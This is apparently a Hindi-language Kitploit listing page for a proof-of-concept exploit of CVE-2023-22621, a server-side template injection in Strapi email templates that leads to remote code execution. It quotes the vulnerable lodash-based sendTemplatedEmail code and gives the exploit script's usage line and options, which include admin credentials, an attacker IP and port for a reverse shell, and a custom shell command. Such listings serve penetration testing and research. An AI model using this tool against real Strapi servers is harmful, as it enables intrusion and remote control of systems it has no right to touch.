Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-22621-POC — CVE-2023-22621: ईमेल टेम्पलेट्स का शोषण करके SSTI से RCE, जो Strapi संस्करण <=4.5.5 को प्रभावित करता है | Kitploit
उपकरण/GitHubGitHub/sofianeelhor/cve-2023-22621-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubsofianeelhor/cve-2023-22621-poc

CVE-2023-22621-POC

CVE-2023-22621: ईमेल टेम्पलेट्स का शोषण करके SSTI से RCE, जो Strapi संस्करण <=4.5.5 को प्रभावित करता है

रिपॉजिटरी देखें
2553 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-22621-POC

CVE-2023-22621: ईमेल टेम्पलेट्स का शोषण करके SSTI से RCE, जो Strapi संस्करणों <=4.5.5 को प्रभावित करता है

फ़ंक्शन sendTemplatedEmail ईमेल टेम्पलेट्स को lodash का उपयोग करके HTML सामग्री में रेंडर करता है टेम्पलेट इंजन जो टेम्पलेट्स में JavaScript कोड का मूल्यांकन करता है। ref: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en

root@kitploit:~
'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
  return strapi.config.get('plugin.email');
};

const send = async (options) => {
  return strapi.plugin('email').provider.send(options);
};

/**
 * fill subject, text and html using lodash template
 * @param {object} emailOptions - to, from and replyto...
 * @param {object} emailTemplate - object containing attributes to fill
 * @param {object} data - data used to fill the template
 * @returns {{ subject, text, subject }}
 */
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
  const attributes = ['subject', 'text', 'html'];
  const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
  if (missingAttributes.length > 0) {
    throw new Error(
      `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
    );
  }

POC

उपयोग

python3 CVE-2023-22621.py -url http://strapi.local:1337/ -u "[email protected]" -p "$Securep4ss" -ip 127.0.0.1 -port 4545

root@kitploit:~
options:
  -h, --help            show this help message and exit
  -url URL              URL of the Strapi instance
  -u U                  Admin username
  -p P                  Admin password
  -ip IP                Attacker IP
  -port PORT            Attacker port
  -url_redirect         URL to redirect after email confirmation
  -custom CUSTOM        Custom shell command to execute

श्रेय

सभी श्रेय मूल भेद्यता खोजकर्ता को जाता है, उनकी शानदार राइट-अप यहाँ देखें।

टूल डाउनलोड करें